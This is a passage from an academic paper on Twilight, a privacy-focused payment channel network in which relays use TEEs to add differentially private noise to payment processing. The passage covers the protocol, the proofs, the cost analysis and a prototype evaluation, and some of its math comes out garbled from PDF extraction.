TEE multiple times to process the same payment until it adds
sufficiently low noise to accept it.

Architecture. Twilight solves these challenges by hiding
payment amounts and the TEE’s responses from the relay,
encrypting them for the TEE at the next hop. The enclave
running inside the TEE performs noisy payment processing
on the incoming channel when the relay receives a new pay-

ment request. Namely, the enclave (noisily) checks that the
previous hop has enough liquidity on the channel to cover the
current payment. To do so, the enclave gets from the relay
the incoming channel’s state, which consists of the channel’s
liquidity and a list of “unresolved” payments (for which the
secret that completes the coin transfer has yet to be revealed,
see §2), and processes the payment as in §4. The reasoning
behind noising payments on the incoming channel (rather
than the outgoing channel) is to mitigate a relay’s incentive
to cheat. Suppose the relay informs its enclave of false high
liquidity on the incoming channel; this nullifies the check
that the previous hop has sufficient liquidity to cover the pay-
ment, so the relay risks moving coins to the next hop without
any return. There is no privacy risk if the relay reports false
liquidity: since the TEE outputs are hidden from the relay
(encrypted for the next hop), it cannot choose a response it
likes. Therefore, it cannot adjust the noise distribution to the
payment; instead, it has to submit the noisy response to the
next hop. Privacy holds even if the relay colludes with the
relay in the next hop, who also cannot access the informa-
tion, which is encrypted for its TEE. We next explain how the
TEEs establish public keys that facilitate this encryption and
how relays interact with their TEEs to process payments. We
provide a fully detailed version of the protocol in an online
technical report [10].

5.1 Establishing public keys and channel IDs
The TEE creates a secret key, and the relay binds the corre-
sponding public key to its payment channel. When two parties
establish a new payment channel, they deposit coins to an ac-
count managed through a smart contract. Each party gives
one public key to govern this account; a relay uses the public
key corresponding to its TEE’s secret key. In Twilight, clients
contact the relays and check: (1) that the key was created in
the TEE, and using remote attestation, (2) that the logic inside
the TEE never exports the keys it creates and performs noisy
payment processing. By registering the TEE’s public key in
the smart contract, the relay ensures its users that the TEE
must be processing their payments on this channel. The smart
contract’s account address serves as the channel ID; signed
messages about the channel include this ID, so they cannot be
confused with other channels. The smart contract allows flex-
ibility in designing dispute resolution when a channel closes.
Specifically, Twilight uses the smart contract functionality
to allow an offended party to reveal an unsettled encrypted
payment (and correct the closing balance, if needed), as we
describe in §5.3.

5.2 Processing payments inside TEEs
In Twilight, relays receive and forward encrypted payments.
As a result, relays do not know the outcome of noisy payment
processing, so payment messages always reach the payee,
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even if a TEE on some relay along the route rejects the pay-
ments. Twilight does not keep payments hidden forever. A
relay must be able to claim a resolved payment by posting a
transaction on the blockchain with the payee’s secret (which
conditions the coin transfer across the route) in case of dis-
pute with its partner. To support this functionality, the payee
chooses a fresh private/public encryption key-pair for the pay-
ment’s locked contract. The public key is unique to that pay-
ment’s locked contract and allows hiding its amount. Instead
of indicating “failure” when there is insufficient liquidity, the
relay outputs a locked contract for the next hop with a hid-
den amount of zero (indicating no payment). The relay can
decrypt the payment amount and redeem it when learning the
corresponding private key from the payee, which also allows
claiming the payment and is analogous to the HTLC secret
from vanilla PCNs (§2). We term these locked contracts “Pri-
vate Time-Locked Contracts” (PTLCs) rather than HTLCs
(hash time-locked contracts). PTLCs generalize HTLCs; sim-
ilarly to HTLCs, they specify an expiration time (e.g., by
block depth on the blockchain) and signed by the previous
hop (see §2). The main difference between them is that while
HTLC payouts are always legible (even if not redeemable
without the secret), the payment amounts in PTLCs cannot
be read without the secret. This allows providing the PTLC
contents specifically for a relay’s TEE when the payment
propagates to the payee, and preventing the relay from learn-
ing the result of its TEE’s noisy payment processing from the
PTLC it outputs for the next relay.

Consider a payment from Alice to Bob and the private key
that Bob chooses for conditioning this payment. Bob informs
Alice of the corresponding public key, which she includes in
her payment’s PTLC. On the route between Alice and Bob, the
enclave running in each relay’s TEE must learn the payment
amount when it processes Alice’s payment, i.e., before Bob
confirms it and reveals the secret. To support this functionality,
Alice uses non-malleable encryption with a fresh ephemeral
symmetric key to hide the payment amount in the PTLC.
PTLCs include two ciphertexts of that key: (1) under the
next hop’s TEE public key, and (2) under the PTLC’s public
key that Bob chose. The TEE decrypts the amount encrypted
under its key and checks for consistency with the second
ciphertext by encrypting the ephemeral key it recovers with
the PTLC’s public key. The second encryption is deterministic
to allow this check; it is safe since the ephemeral symmetric
keys are never reused.

Alice submits her payment for Bob to the first relay in
the route she chooses. We next describe how relays process
payments and their interaction with their TEEs, following Fig-
ure 3.

TEE input. When a relay calls its TEE to process a pay-
ment inside an enclave, it provides the payment message from
the previous hop, the corresponding incoming channel ID and
its liquidity in the direction of the payment, and any PTLCs
for unresolved payments from the previous-hop (these are

payments that have not been completed yet, but represent
commitments from the previous hop).

TEE processing. The enclave decrypts the amount and per-
forms the consistency check for the two ciphertexts above.
It subtracts from this amount the relay’s fee. It then com-
putes “uncommitted liquidity”, which is the incoming liquid-
ity minus the coins in the relay’s unresolved PTLCs. Lastly, it
performs noisy payment processing (§4) and evaluates Equa-
tion 2 to determine whether to accept the payment.

The noise that a relay induces depends on the current
time (§4). However, it is unsafe for the relay to provide the
time directly to the enclave. Otherwise, a selfish relay could
identify some slot in the tree where the nodes in its covering-
set (Nt , see Table 1) sum to very little noise, and then replay
this slot’s timestamp for all payments to essentially circum-
vent the noising mechanism. Fortunately, TEEs allow enclaves
to read the number of cycles since boot, and guarantee its au-
thenticity, which serves as time [20]. The TEE also allows
detecting when a relay reboots and the time initializes to zero:
on boot, the TEE draws a random number which Twilight’s
enclave echos to the relay with every response. The relay
must provide this value to the TEE when asking to process a
payment. The enclave compares the given value by reading
the random number again; if they match, the relay has consis-
tent time since the last response (and recursively since boot)
and processes the payment as usual. Otherwise, the relay re-
fuses to process the payment. This ensures users that the relay
noises payments correctly throughout the channel’s lifetime.

When the relay reboots, the random number changes and
the TEE refuses to process more payments. The relay then
has to close the channel on-chain by posting the last closing
balance message from its partner. We expect relays to have
high up-time, to collect fees from all payments that need to
route through them; so the cost of the blockchain transaction
in such “forced” closures is amortized over a long time. A
relay may also use another computer with TEE as backup,
which keeps track of time and allows recovery in case of a
crash without closing the channel. We describe the details of
this extension in a technical report [10].

TEE output. The TEE decrypts the top layer of the onion
route and creates a new PTLC for the next relay’s TEE with
the remaining amount (encrypted under a fresh symmetric
key for the next hop’s TEE and the PTLC public key from
Bob). The TEE then signs a message combining the channel
ID, its liquidity, all pre-existing unresolved PTLCs and the
new PTLC along with an incremented serial number. The
next hop checks the TEE’s signature on this combination
before it continues processing the payment (this signature
both ensures that the contents were created by the TEE and
hence noised, and that the next hop will be able to claim funds
on the blockchain). When the enclave rejects a payment, it
uses zero for the amount in the output PTLC. This ensures
that the following relays on the route also use zero amounts,
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meaning that the payment will not eventually take place.

Payment confirmation and coin transfers. When Bob re-
ceives the final PTLC, his client checks that the amount from
Alice is sufficient. In this case, Bob reveals the PTLC secret
key to the previous relay, which serves as a receipt. It allows
the relay to decrypt the PTLC’s amount and post the PTLC,
if necessary, to the blockchain to ensure the relay gets paid.
Each hop then propagates the secret backward, which enables
coin transfers across the route (as described in §2).

5.2.1 Side channels

Several exploits in the past illustrate that TEEs can be vulnera-
ble to side channels (see survey on Intel’s SGX platform [13]).
We architect Twilight to maintain PCN integrity even if attack-
ers completely break the TEE’s security promises, but given
such a vulnerability, a relay may circumvent Twilight’s noisy
payment processing and jeopardize its users’ privacy. In par-
ticular, attackers with physical access to the TEE (the hosting
relay in Twilight’s case) may exploit channels such as tem-
perature and power consumption readings to learn sensitive
information like secret keys. However, TEE manufacturers is-
sued countermeasures in response to known attacks and, using
remote attestation, allowed users to learn whether the TEEs
they contact run these countermeasures. Users in Twilight,
thus, can avoid relays with known TEE vulnerabilities.

Another important type of side channel attack exploits
application-specific vulnerabilities within the enclave. Twi-
light’s code inside the enclave must be hardened against such
attacks. This is typically achieved by ensuring data-oblivious
computation [2, 43] that results in constant processing time,
low variance power consumption, etc.

5.3 Channel teardown
When a user leaves the PCN, or a relay needs to replenish liq-
uidity in a channel with another relay, they close their channels
(and open another one, in the relay-to-relay case). Closing
a channel involves an on-chain transaction to the smart con-
tract, splitting the locked coins between the channel endpoints.
Similar to vanilla PCNs, parties sign and exchange closing
balance messages after each payment (§2). A relay’s TEE
signs these messages, as the TEE’s secret key is authoritative
for the relay’s payment channels (§5.1). Each party stores
the latest message from their counterpart, so they can post it
on-chain to close the channel (even without interacting with
their TEE at close-time). These messages have a serial num-
ber, local to the channel, and reference unresolved PTLCs on
the channel by their hashed values (see Figure 3). The smart
contract managing the locked coins in the channel’s account
allows a short appeal period, where parties may post closure
messages with higher serial number, and then allows parties
to claim the PTLCs referenced by the last message posting
them along with their secrets.

To hide the channel’s closing balance split (§3.1), Twilight
can deploy over a blockchain that allows for private transac-
tions in its smart contracts. For example, Ethereum supports
a rich enough language that allows implementing “shielded
transactions” in its smart contracts using zero-knowledge
proofs (see [25] for implementation). Such a deployment al-
lows fast off-chain payments with a differential privacy guar-
antee and avoids exposing information on channel tear-downs.
We, therefore, believe this combination makes an attractive
privacy-performance trade-off.

6 Analysis

We analyze Twilight’s design against its goals from §3.

6.1 Integrity
All payments accepted by a relay must be valid, so that the
resulting balances when closing channels may be committed
to the blockchain. This property must hold even if all relays
break their TEEs’ security guarantees (§5), i.e., even in this
extreme case, no relay can steal coins from others.

To achieve integrity, it is sufficient to ensure that the re-
lay subtracts non-negative noise from its channel’s liquidity
(Equation 2). Thus, any payment that the relay accepts is of at
most the channel’s liquidity amount and does not overspend
(so it can be committed to the blockchain). The noise that the
relay subtracts is the sum of at most N Gaussian random vari-
ables (§4.1). Theorem 1 shows that setting µ >> σ√

N
ensures

that the chance for negative noise is extremely small.

Theorem 1. A relay accepts a payment that overspends the
channel’s liquidity with probability≤GaussCDF(µN,σ2N; 0).

Where GaussCDF is the noise cumulative distribution func-
tion (CDF) with mean µN and variance σ2N, evaluated at 0.
And µ,σ,N are the noise parameters, summarized in Table 1.

Proof. Let us compute the probability that the relay adds
negative noise for some time slot. Noisy payment pro-
cessing adds N random variables to the liquidity, each
distributing Gauss(µ,σ2). Thus, a relay’s noise distributes
Gauss(Nµ,Nσ2). (The sum of Gaussians is also a Gaussian.)
The chance for negative noise is GaussCDF(Nµ,Nσ2; 0).
Namely, the noise CDF evaluated at 0.

When Nµ >>
√

Nσ, i.e., the noise’s mean is much greater
than its standard deviation, the chance of obtaining negative

noise is extremely small. It decays proportionally to e−(
µ
√

N
σ

)2
.

For example, for µ = 10 σ√
N

the chance for negative noise

error is about 2−100. This property holds regardless of the
TEE’s security, i.e., even in case a new vulnerability allows
the relays to circumvent TEE protections; we provide the
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proof for integrity under under insecure TEEs in an online
technical report [10].

6.2 Privacy
Before we delve into the analysis of Twilight’s differential
privacy guarantee, we argue that as long as a relay’s TEE is
secure, that relay performs noisy payment processing. Con-
sider a relay with a TEE that attests to running noisy payment
processing on a channel. Any client that routes a payment
through the channel ensures that the secret keys for the chan-
nel’s on-chain account are created in, and never exported from,
the TEE (§5.1). When a relay processes a payment’s PTLC, it
must sign the PTLC for the next hop using the TEE’s secret.
Hence, the relay must call the TEE, with the PTLC from the
previous hop, which executes noisy payment processing and
creates the next PTLC according to the result of Equation 2.

The privacy analysis for noisy payment processing pro-
ceeds as follows. We first analyze the differential privacy
guarantee when the attacker probes a channel just once (The-
orem 2). We then reason about hiding a payment under many
probes, traversing a route with several channels, and the pri-
vacy amplification from choosing one of several available
routes (Theorem 3). Lastly, we discuss differential privacy for
multiple payments.

Privacy against a single probe. Consider a payment chan-
nel’s noise tree (Figure 2) and Alice’s payment arriving at
the relay at time slot t. The only nodes in the tree affected
by her payment are the logb T ancestors of slot t (see param-
eters in Table 1). When the attacker issues a probe at time
t ′, only one of these ancestors affects the relay’s response
(Equation 2), call it node i. Thus, for a single probe, it is
sufficient to analyze the privacy loss from the information
in a single tree node. For example, the payment at slot 2 in
Figure 2 only affects the amounts (denoted by the τ’s) that
nodes 010,01,0,and the root record. Node i contributes to
the response the sum of its noise and transacted amounts
(i.e., ni + τi). Theorem 2 captures, in (ε,δ)-differential pri-
vacy terms, the difference in the chance that i contributes the
same value whether Alice makes a payment of m coins.

Theorem 2. Consider the time slot where Alice may make a
payment to Bob for m coins. Let i be a node in a channel’s
tree that is an ancestor of that time slot. Then, except with
probability δ, the following inequalities hold:

e−ε ≤ Pr[τi+ni|Alice→Bob]
Pr[τi+ni|X] ≤ eε

Where ε = mc
σ
,δ = 2 ·GaussCDF(µ,σ2; µ− cσ).

Informally, δ bounds the probability of drawing extreme
noise values (over c standard deviations below the mean). The
parameter c > 0 allows to trade a larger ε for a smaller δ.

Proof. Alice pays m coins to Bob. So, for any value η that
node i might contribute to the calculation of Equation 2 (i.e.,

the sum τi +ni), we need to bound the ratio:

Pr[τi +ni = η|Alice→ Bob]
Pr[τi +ni = η|X]

=
Pr[ni = η− τi−m]

Pr[ni = η− τi]

Namely, for node i to contribute the same value in both
scenarios (Alice pays m coins to Bob vs. Alice does not make
this payment), the noise in case Alice pays Bob should be m
less than the noise in the case she does not pay him. The noise
ni distributes Gauss(µ,σ2). For convenience, let us substitute
xi = η−τi, which is the noise value that the relay should draw
if there is no payment from Alice to Bob (s.t. i contributes η).
The Gauss distribution PDF gives that the above term equals:

=
e−

(xi−m)2−2xiµ+2mµ+µ2

2σ2

e−
x2
i −2xiµ+µ2

2σ2

=
e−

x2
i −2mxi+m2−2xiµ+2mµ+µ2

2σ2

e−
x2
i −2xiµ+µ2

2σ2

=

e−
−2mxi+m2+2mµ

2σ2 = e
2mxi−m2−2mµ

2σ2 (3)

The chance that the relay draws an “extreme” noise value
for xi is low. More precisely, except with probability δright =
1−GaussCDF(µ,σ2; µ+ cσ) = GaussCDF(µ,σ2; µ− cσ), it
holds that xi ≤ µ+ cσ. Substituting xi in Equation 3 with this
upper-bound, we get that except with probability δright:

≤ e
2m(µ+cσ)−m2−2mµ

2σ2 ≤ e
cm
σ = eε

The computation for the inequality in the other direction,
showing that e−ε ≤ Pr[τi+ni|Alice→Bob]

Pr[τi+ni|X] , is similar. (We derive ε

by substituting xi ≥ µ−cσ, which holds except with probabil-
ity δleft = GaussCDF(µ,σ2; µ−cσ).) Overall, using the union
bound, δ = δleft +δright = 2GaussCDF(µ,σ2; µ− cσ).

Privacy under many probes. Attackers may probe a chan-
nel many times; however, there are only logb T ancestors in
the tree for Alice’s payment time slot. Thus, only those nodes
might contribute different values to the relay’s response (and,
therefore, leak information about Alice’s payment). We com-
pose, in §6.2.2, the privacy guarantee from Theorem 2 over
logb T different observations that the attacker might get. This
gives the differential privacy guarantee that a single channel
provides (even if the adversary continuously probes it).

Privacy over a payment’s route. The attacker may probe
any inter-relay payment channel on Alice’s payment route.
Therefore, the level of privacy reduces with the number of
inter-relay payment channels that it traverses. Although min-
imizing the number of hops benefits privacy, the costs that
current PCN implementations opt to minimize might cause
clients to prefer longer routes. For instance, in Lightnings’
most common implementations, routing is not done by choos-
ing the shortest-length route. In the C-Lightning implementa-
tion, the route’s length is one of the parameters determining
which route a payer chooses but in LND and Eclair (the other
two most popular implementations), minimizing the route
length is not explicit.
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Figure 4: Shortest length channel disjoint routes between re-
lays in the Lightning network topology (from Nov. 7th, 2021).

Usually, however, these costs decrease with the number
of hops: having more hops typically results in less preferred
routes, e.g., requiring clients to lock coins for longer time
or increasing the total fee the sender would end up paying
the relays. Indeed, measurements show that for all the imple-
mentations listed above, at least 80% of routes chosen by the
routing algorithm in the Lightning Network (the largest PCN
today) have no more than three inter-relay channels [42].

6.2.1 Privacy amplification by random route selection

In practice, multiple channel-disjoint routes of the shortest
length often exist. For example, we connected a client to the
Lightning Network and retrieved its topology (the snapshot
was taken Nov. 7th, 2021). We found that there are usually
2 – 5 channel-disjoint routes of the shortest length between
two relays (nodes with more than one channel); see Figure 4.
Twilight leverages this insight about PCN topology to amplify
users’ privacy. Clients choose one of the shortest channel-
disjoint routes uniformly at random. Intuitively, randomized
route selection improves privacy since the attacker does not
know which of the channels he probes are on the payment
route. If Twilight is to be deployed on Lightning clients, it
would need to relax the clients’ path selection strategies (de-
scribed above) to consider paths that are “close enough” to the
minimal cost. This relaxation would accommodate their cur-
rent route selection strategies and allow the client to choose
from multiple routes to amplify privacy.

6.2.2 Payment privacy quantification

Theorem 3 captures the composition of the arguments made
in this subsection and quantifies them in differential privacy
terms. It shows that a random selection of 1-out-of-r possi-
ble routes of length l in Twilight improves the differential
privacy’s ε proportionally to

√
r, and that ε impairs propor-

tionally to
√

logb T and
√

l.

Theorem 3. Let r be the number of channel-disjoint routes
with l inter-relay channels between Alice and Bob. Alice’s
m-coin payment to Bob is (ε,δ) differentially-private where:

ε = ln(1+
mc
√

l logb T
σ
√

r +
l logb T m2

2σ2 ),

δ = 2 ·GaussCDF(µ̃, σ̃2; µ̃− cσ̃)

And, µ̃ = rl logb T µ, σ̃2 = rl logb T σ2

Proof. Given in technical report [10]

To get a fair degree of privacy, σ >> m (the variance in
the noise hides a payment that Alice might make). In this

case, ε is very close to
mc
√

l logb T
σ
√

r (i.e., Theorem 3 generalizes
Theorem 2; it gives a similar result when T,r, l = 1).

6.2.3 Multiple payments

Until now, we analyzed differential privacy for one payment.
However, if Alice makes multiple sensitive payments, the at-
tacker may try to learn about any of them. This scenario is
known as composition in the differential privacy literature.
Fundamentally, differential privacy deteriorates with the num-
ber of payments Alice wishes to hide, but the composed result
remains differentially private. Maintaining the rigorous differ-
ential privacy guarantee, albeit with higher ε,δ, can be crucial.
For example, a court that should be convinced “beyond a
reasonable doubt” requires a very high degree of certainty,
making even relatively high ε,δ guarantee valuable.

The literature also provides theorems for computing the
ε,δ guarantee of such composition. This quantification is
important. It allows users to avoid sensitive payments when
exceeding a “privacy budget” (i.e., when ε,δ reflect a risk they
deem too high). The most general result states that compos-
ing k invocations of an (εi,δi)-differentially private mecha-
nism results in (∑k

i=1 εi,∑
k
i=1 δi)-differential privacy [12, Thm.

3.16]. Another, more powerful, composition theorem [22]
holds when the noise in the composed invocations is indepen-
dent, this result states that ε grows with

√
k. In our case, when

multiple payments traverse the same route, different invoca-
tions of the noisy payment processing mechanism within the
same channel are not independent (due Twilight’s use of the
tree), and thus only guarantee linear growth of ε. However,
when payments traverse disjoint routes, the more advanced
composition theorem holds, and ε degrades slower. This im-
plies that Alice can increase her privacy level under multiple
payments by opening channels to more relays. Intuitively,
these channels allow Alice to use more disjoint paths, which
helps her in two ways: First, randomizing over more paths pro-
vides better ε,δ to begin with (see §7.1 for example ε,δ values
for different route lengths and number of available disjoint
routes). Second, when paths are disjoint, the stronger compo-
sition results hold. The online technical report analyzes this
scenario [10].

7 The Cost of Privacy

The noise that a relay induces artificially reduces its chan-
nel’s effective capacity: the relay might deny payments that
spend amounts close to the channel’s liquidity and lose the
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associated fees. In this section, we study this cost. We present
a metric for a channel’s ability to process a sequence of pay-
ments, illustrate the trade-off between privacy and efficiency,
and quantify the cost of operating a Twilight relay.

Definition 1. A noisy payment channel C is ∆-inefficient
compared to a noiseless channel C ′ if any payment accepted
through channel C ′, is rejected in C with probability at most ∆.

We use the inefficiency metric to measure the cost of noisy
channels. Theorem 4 quantifies the extra coins that a relay
should lock to make the noisy channel ∆-inefficient compared
to the noiseless alternative. Let Gauss(µ,σ2) be the noise dis-
tribution for nodes in a relay’s noise tree, and N the maximal
number of nodes in the covering set for any time slot (Table 1).

Theorem 4. If the noisy channel C is initialized with ω more
coins in both directions than the noiseless channel C ′, then it
is ∆-inefficient compared to C ′, where:
ω = µN + t, and ∆ = GaussCDF(µN,σ2N; µN− t).

The knob value t allows trading a higher ω for a lower ∆.

Proof. Given in technical report [10]

The Gauss distribution CDF at µN− t falls very quickly
with t (proportionally to e−t2

). For example, achieving ∆ =
0.1% (with δ = 10−7,ε = 0.15 privacy) requires ω = 95608;
see Figure 5. Achieving ∆ = 10−10 requires locking only 15%
more coins (for the same privacy level, ω = 11000).

Multi-payment sequences and multi-hop routes. The in-
efficiency metric composes for a sequence of n payments
routed over l channels: Consider two sequences of l noisy
and noiseless channels, where noisy channel i is ∆i-inefficient
compared to the ith channel in the noiseless sequence. Using
the union bound, we find that a sequence of payments that is
accepted via the noiseless route might be rejected from the
noisy route with a probability of at most n∑

l
i=1 ∆i.

7.1 Privacy-efficiency trade-off

Comparing Theorem 3 and Theorem 4, which summarize
Twilight’s privacy and efficiency properties, allows reason-
ing about the number of coins that a relay should lock in
the channel’s smart contract to support a certain level of pri-
vacy. Figure 5 illustrates the privacy-efficiency trade-off for
one channel, trading higher ω for lower ε. Figure 6 then fo-
cuses on a particular privacy setting (ε = 0.15,δ = 10−7)
and explores the trade-off for scenarios where clients have
multiple options for disjoint routes, and these routes are of
multiple hops. Since clients boost privacy by uniformly se-
lecting routes (§6.2.1), a network that offers many disjoint
routes improves the efficiency (requires locking fewer coins
for similar privacy level).

Payment success ratio. Our analysis thus far refers to the
chance that any payment fails. However, in practice, a chan-
nel may process payments back and forth. Some payments
may even fail for over-spending on a noiseless channel, while
they would succeed on the noisy channel due to the extra
liquidity (ω in Theorem 4) and sufficiently low noise. We use
simulation to compare the failure rate on a long sequence of
payments. Our simulation, in Figure 7, focuses on a single
channel, where we send 1-coin payments left or right with a
uniform distribution. We run this simulation for three levels
of privacy (values of ε, fixing δ = 10−7). Each data point
is the failure rate on a sequence of 108 payments. In this
simulation, payments route over a single payment channel
without concurrency. We observe that as the channel’s capac-
ity grows, the noised channel’s success ratio converges to that
of the noiseless channel. We also see that the extra locked
coins needed for achieving ∆ = 10−3 on the noisy channel
with ε = 0.15 and δ = 10−7 is around 7k over the noiseless
channel (see dashed horizontal line in Figure 7). This is an im-
provement over the theoretical bound from Theorem 4 (which
is illustrated in Figure 5).
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7.2 Quantifying the relay’s cost and incentives

Twilight requires relays to run code in TEEs and induce noise
when processing payments. Modern commodity processors
ship with TEEs (e.g., see Intel’s i9 processor spec [19]). Thus,
we believe that deploying a TEE should not incur a high cost
on the relay’s operator and focus on the cost of operating noisy
payment processing, which increases a relay’s locked coins.

Although Twilight’s relays need to lock more coins than the
noiseless alternative (say, 9.5k additional coins per Figure 5),
these coins return to the relays when the channel closes, so
relay operators only lose any potential interest that they could
have gotten for these extra coins. Moreover, the financial
impairment rate from locking coins is fixed, and amortizes
over all payments carried during the channel’s lifetime. Given
these observations, we can compute the increase in relay fee
that would cover the cost of operating a Twilight channel
depending on the number of payments it carries. For example,
consider the privacy-efficiency trade-off point highlighted in
Figure 5 (ε = 0.15,δ = 10−7,∆ = 10−3); we find that given a
yearly interest rate of 3%,a relay that handles 79 payments per
day can cover its operational cost by charging 1% fee from
each payment . Previous works on differential privacy (in
other contexts) statistically modeled users’ actions, treating
them as noise (e.g., [6]). This approach reduces the number of
coins a relay should lock, thus reducing Twilight’s operational
cost. However, it requires strong additional assumptions about
users that Twilight avoids: that many users are honest and
submit payments according to a known distribution.

8 Implementation

There are three components to our prototype of Twilight.
The first is the smart contract for managing on-chain chan-
nel accounts between two parties, which we implement for
Ethereum in Solidty [14] (68 lines of code). A limitation
of our smart contract implementation is that it does not use
shielded on-chain transactions (e.g., implemented using Solid-
ity in [25]). It, therefore, exposes a channel’s closing balance
split (i.e., the aggregate amount of payments on the channel
through its lifetime). We argue in §3.1 that for long-lived
channels this is typically safe in practice. The second compo-
nent is the enclave running in Intel’s SGX [9] as a TEE. We
implement the noisy payment processing logic inside the en-
clave in C++17 (965 lines of code). The last component is the
relay, which calls the enclave and implements the networking
logic for carrying payments across the route. We implement
the relay in Python3.8 (886 lines of code). The clients use the
same networking logic as the relays (but do not run noisy pay-
ment processing). Our implementation uses ChaCha20 [27]
for symmetric encryption, elliptic curve secp256r1 [39] for
public key operations, and SHA3-Keccak [5] as hash function.

Inside the enclave, we generate the TEE’s secret key using
sgx_ecc256_create_key_pair and run the randomized re-

sponse mechanism (§4.1). Running this mechanism requires
the enclave to read the current time; we call rdtsc to get the
number of CPU cycles since boot [20] which serves as a high-
resolution clock. We detect reboots by reading the nonce that
sgx_get_trusted_time returns, which is initialized at boot
time (as discussed in §5.2). The channel’s noise tree (Figure 2)
has T = 264 time slots to support long-lived channels.

9 Evaluation
We use Twilight’s prototype to evaluate the throughput and
latency, and to measure the cost of resolving disputes on-
chain (§9.1). We use simulations to evaluate the privacy bene-
fits of noisy payment processing under partial adoption (§9.2).

9.1 Performance and cost
Setup. We deploy Twilight’s implementation over a
Standard_DC1s_v2 machine type in Azure [8], which has
one CPU and 4 GB RAM. This machine has a single Intel
SGX-1 TEE. We deploy Twilight on machines in two Azure
regions, across two continents, eastus and northeurope. To
ensure our tests experiment real Internet latencies, the routes
for the payments we evaluate alternate between relays in both
regions. We measure the average round-trip latency between
machines in the two regions to be 84.89ms (with 0.58 stan-
dard deviation). In the following experiment results, each data
point is an average of 40 repetitions. We use error bars to
show the standard deviation from the mean.

Throughput. In Figure 8 we measure the rate of completed
payments as a function of the rate of issued payments for
different route lengths. The throughput continues to grow
until around 820 resolved payments/sec, which is over twice
of a relay’s throughput in the Lightning PCN [21] (about
358 payments/sec with one relay). We attribute this perfor-
mance improvement to batch-processing payments (cf., in
Lightning, each payment requires expensive invocations of
an underlying Bitcoin client). When the payment issuance
rate exceeds 800 payments/sec, the relays’ backlog grows
and eventually causes the throughput to start decreasing. We,
therefore, cap the relay’s backlog at 3000 payments to al-
low handling bursty payments and avoid congestion collapse.
Since PCNs are horizontally scalable, the more relays join
Twilight, the more disjoint routes are available (proportionally
growing Twilight’s throughput).

Latency across a route. Figure 9 evaluates payment la-
tency in Twilight by sending payments across paths of differ-
ent lengths and using different payment issuance rates. After
a minute, when the system is in steady-state, we measure the
latency for completing payments. Before backlogs start form-
ing in the relays, the latency is under 1.1s even with 4 relays
(e.g., when 800/sec payments are issued). We attribute about
half of this latency to the network RTT time (510ms from
Alice to Bob via the 4 relays). The rest is due to Twilight’s
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Figure 10: Privacy gain under partial
noisy payment processing adoption.

processing costs inside the TEE. From this, we conclude that
Twilight does not substantially increase the latency over a
vanilla PCN (that routes payments via a similar number of
hops). Even when payments are issued at a relatively high
rate (e.g., 800 payments/sec) Twilight’s processing does not
dominate the latency over the network RTT.

Smart contract gas cost. We use Ganache [15] to evaluate
the gas price of running the smart contract managing the chan-
nel’s account on Ethereum. We gather the gas prices using
“Web3.estimateGas” (an Ethereum API). The total gas cost for
handling each disputed PTLC is less than 2.4k gas. The major
pieces comprising this cost are: (1) 700 gas to validity check
of the dispute, (2) 800 gas to decrypt the disputed PTLC, and
(3) 900 gas to parse the plaintext and update the balance.

Each PTLC is encoded into 28B, which users can post to
the smart contract to dispute the channel’s closing balance
split (along with the partner’s signature over that PTLC and
a matching secret key). This encoding comprises 8B for the
amount, 4B for the PTLC’s timeout (in blocks), and 16B for
the authentication code that ensures the secret key is correct.
Storing the PTLC on the blockchain costs 15k gas and domi-
nates its processing cost.

9.2 Partial noisy processing adoption

Performing noisy payment processing involves costs for the
relay (§7). We consider the effect of weakening Twilight’s
requirements through a compatibility mode where relays can
participate in the network without noising payments in TEEs.
Clients can tell which relays do noisy payment processing
in TEEs using remote attestation and prefer routes where
all relays do so. We evaluate the fraction of payer-payee
pairs of nodes with a fully adopting path. As an example
network, we use the Lightning network topology (snapshot
from Nov. 7th, 2021), the largest PCN today. We that assume
the payer and payee run Twilight’s client, and evaluate three
scenarios regarding Twilight’s adoption (in its full form) in the
network: (1) relays adopt by descending order in the number
of channels they have, (2) organizations (companies operating

relays) adopt across all their relays by descending order in the
number of channels they have (we use relay lists from [7,30]),
and (3) uniform random adoption across the network.

Figure 10 shows that if the largest 5 organizations in the
network adopt noisy payment processing, then 47% of pairs
of nodes in the network will have a connecting route with
full adoption. The largest organization, “LN-BIG” [30] alone
connects around 19% of the pairs. More generally, we see that
adoption on a small number of relays or organizations at the
core of the network can protect routes between a large portion
of the network’s nodes, giving a tangible path to significant
privacy improvement. Uniform adoption is less effective, and
several hundreds of relays should adopt before the benefit
becomes significant.

10 Related Work
Several works point out that today’s PCNs do not offer much
privacy [16, 18, 31], and Kappos et al. evaluate such attacks
in practice [23]. Bolt [16] gives a strong privacy guarantee by
establishing payment channels over ZCash, but its architecture
is restricted to just one relay. Namely, a hub that connects
everyone in the network, which limits the scalability of the
design and risks availability in the case that hub goes offline.

Malavolta et al. [31, 32] propose a privacy-preserving
HTLC for PCNs. Instead of using the same HTLC secret
for every hop, secrets across the route are cryptographi-
cally linked but appear random. Thus, malicious relays along
the route cannot link payments through their HTLC secrets.
This construction is compatible with Twilight’s PTLCs and
allows avoiding such “secret-correlation” attacks. Speedy-
Murmurs [38] modifies the client’s routing algorithm to split
payments across several paths. In this manner, an attacker that
does not control a relay on all routes cannot learn the exact
payment amount or uniquely identify the payer and payee,
but he can learn information about the users’ “direction.” As
discussed in [32], these solutions [31, 32, 38] are only partial
to the privacy problem in PCNs. In particular, since channels
cannot transfer more funds than their liquidity, the attacker can
measure channels’ liquidity on inter-relay links by request-
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ing relays to carry payments. He can then correlate liquidity
changes across channels to track the users’ payments [23],
the problem that Twilight tackles. Quantifying and bound-
ing statistical information leakage to an active adversary that
probes channels to deduce payment routes is challenging,
which Twilight achieves through differential privacy.

Joancomarti et al. [18] show how malicious clients can
monitor changes in channel liquidity. Tang et al. consider a
PCN that continuously advertises channel liquidity with fresh
noise [40]. They do not specify a noise mechanism or means
to enforce it but show that the adversary can quickly learn the
liquidity on every channel. Twilight addresses this problem by
utilizing ideas from the differential privacy literature; it can
avoid continuously publishing channel-liquidity with fresh
noise since it is safe to reuse noise values when hiding the
same payments set. This allows Twilight to provide a rigorous
differential privacy guarantee for its users.

TEEchain uses TEEs to build a high-throughput PCN [29]
and relies on the security of its relays’ TEEs for integrity. In
particular, there are no disputes since TEEs are trusted to close
channels at the correct balance. Moreover, TEEchain does
not protect against attacks on its users’ privacy. In contrast,
Twilight is focused on privacy and uses TEEs only to ensure
relays perform randomized response to hide users’ payments.

11 Conclusion

We presented Twilight, a new PCN that is focused on pri-
vacy. Twilight hides a user’s payments from other users in
the network using differential privacy. Relays convince users
that they will hide their payments by leveraging TEEs. Our
